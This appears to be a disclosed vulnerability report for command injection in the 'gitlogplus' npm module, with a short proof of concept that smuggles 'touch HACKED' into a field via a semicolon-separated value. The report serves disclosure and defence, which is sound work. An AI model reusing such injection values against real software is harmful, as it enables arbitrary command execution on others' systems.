Code Injection in domharrington/node-gitlog
Valid
Reported on
May 23rd 2020
Description
The gitlogplus
module is vulnerable against an arbitrary command injection
issue which is made possible since some user-inputs
are executed inside a command which doesn't have validations of any kind.
POC
- Create the following PoC file:
// poc.js
var git = require('gitlogplus');
git({repo:'.', number:'eeee; touch HACKED; #'})
- Check there aren't files called
HACKED
- Execute the following commands in another terminal:
npm i gitlogplus # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKED
has been created
to join this conversation